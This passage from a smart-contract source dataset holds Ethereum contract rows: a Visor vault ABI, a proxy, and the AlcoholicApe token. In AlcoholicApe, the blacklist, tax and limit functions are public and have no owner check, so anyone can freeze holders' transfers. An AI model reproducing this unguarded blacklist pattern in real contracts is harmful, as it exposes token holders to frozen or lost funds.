"type":"bytes4"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"ownerAddress","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"}],"name":"rageQuit","outputs":[{"internalType":"bool","name":"notified","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeLockERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeLockERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeUnlockERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeUnlockERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"timelockERC20Balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"timelockERC20s","outputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"timelockERC721s","outputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"permission","type":"bytes"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.6+commit.7338295f | true | 1,000 | Default | false | |||||
Visor | contracts/interfaces/IVisorService.sol | 0x4ac8c333fb606991dbec9120fbc492305fb06006 | Solidity | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.6;
interface IVisorService {
/*
* @dev Whenever an {IERC777} token is transferred to a subscriber vault via {IERC20-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC777.tokensReceived.selector`.
*/
function subscriberTokensReceived(
address token,
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
} | [{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"AddNftToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"bool","name":"notified","type":"bool"},{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"RageQuit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"RemoveNftToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeLockERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeLockERC721","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeUnlockERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeUnlockERC721","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Unlocked","type":"event"},{"inputs":[],"name":"LOCK_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RAGEQUIT_GAS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UNLOCK_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"delegate","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveTransferERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"approveTransferERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"}],"name":"calculateLockID","outputs":[{"internalType":"bytes32","name":"lockID","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"calculateNftID","outputs":[{"internalType":"bytes32","name":"nftId","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"checkBalances","outputs":[{"internalType":"bool","name":"validity","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"delegatedTransferERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"erc20Approvals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"delegate","type":"address"}],"name":"getBalanceDelegated","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBalanceLocked","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getLockAt","outputs":[{"components":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"internalType":"struct IUniversalVault.LockData","name":"lockData","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLockSetCount","outputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getNFTByIndex","outputs":[{"components":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"address","name":"nftContract","type":"address"}],"internalType":"struct Visor.Nft","name":"nftData","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getNonce","outputs":[{"internalType":"uint256","name":"nonce","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"eip712TypeHash","type":"bytes32"},{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"nonce","type":"uint256"}],"name":"getPermissionHash","outputs":[{"internalType":"bytes32","name":"permissionHash","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getTimeLockCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"nftContract","type":"address"}],"name":"getTimeLockERC721Count","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getTimelockERC20Key","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getTimelockERC721Key","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initializeLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"permissionHash","type":"bytes32"},{"internalType":"bytes","name":"signature","type":"bytes"}],"name":"isValidSignature","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"permission","type":"bytes"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"nft","outputs":[{"internalType":"address","name":"nftAddress","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"nftApprovals","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"ownerAddress","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"}],"name":"rageQuit","outputs":[{"internalType":"bool","name":"notified","type":"bool"},{"internalType":"string","name":"error","type":"string"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uri","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeLockERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeLockERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeUnlockERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"name":"timeUnlockERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"timelockERC20Balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"timelockERC20s","outputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"timelockERC721s","outputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"expires","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"permission","type":"bytes"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.6+commit.7338295f | true | 1,000 | Default | false | |||||
AuthereumProxy | AuthereumProxy.sol | 0x066807bc46a462e889afca410ae762064011aa1f | Solidity | pragma solidity 0.5.12;
pragma experimental ABIEncoderV2;
// @author Authereum, Inc.
/**
* @title AuthereumProxy
* @author Authereum, Inc.
* @dev The Authereum Proxy.
*/
contract AuthereumProxy {
string constant public authereumProxyVersion = "2019102500";
/// @dev Storage slot with the address of the current implementation.
/// @notice This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted
/// @notice by 1, and is validated in the constructor.
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/// @dev Set the implementation in the constructor
/// @param _logic Address of the logic contract
constructor(address _logic) public payable {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, _logic)
}
}
/// @dev Fallback function
/// @notice A payable fallback needs to be implemented in the implementation contract
/// @notice This is a low level function that doesn't return to its internal call site.
/// @notice It will return to the external caller whatever the implementation returns.
function () external payable {
if (msg.data.length == 0) return;
address _implementation = implementation();
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, _implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/// @dev Returns the current implementation.
/// @return Address of the current implementation
function implementation() public view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
} | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"authereumProxyVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"impl","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.12+commit.7709ece9 | false | 200 | 000000000000000000000000d8cab604bdd8cbb7c3eb0c26f7dc3abffb005a92 | Default | MIT | false | bzzr://df4401333fb8c26a38547c751ff4c528d95f9c5a191e6bc81f110b4125072004 |
||
AlcoholicApe | AlcoholicApe.sol | 0xfab2ae750d386c3ac72ea2cdf3bf5edce446bc9d | Solidity | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
//SPDX-License-Identifier: MIT
// Telegram: https://t.me/alcoholicape
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract AlcoholicApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 800000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Alcoholic Ape";
string private constant _symbol = "AlcoholicApe";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 15;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 50000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function lowerTax(uint256 newTaxRate) public {
require(newTaxRate<12);
_taxFee=newTaxRate;
}
function removeBuyLimit() public {
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function blockBots(address[] memory bots_) public {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(_uniswap) && bots_[i]!=address(_pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.12+commit.f00d7308 | true | 200 | Default | None | false | ipfs://fffd566222334f3cb8fe90dc4599ec1f2cae6eaf41aa7ba7d41e080c0213c09c |
|||
StandardPoolConverter | solidity/contracts/converter/ConverterVersion.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | // SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
contract ConverterVersion {
uint16 public constant version = 44;
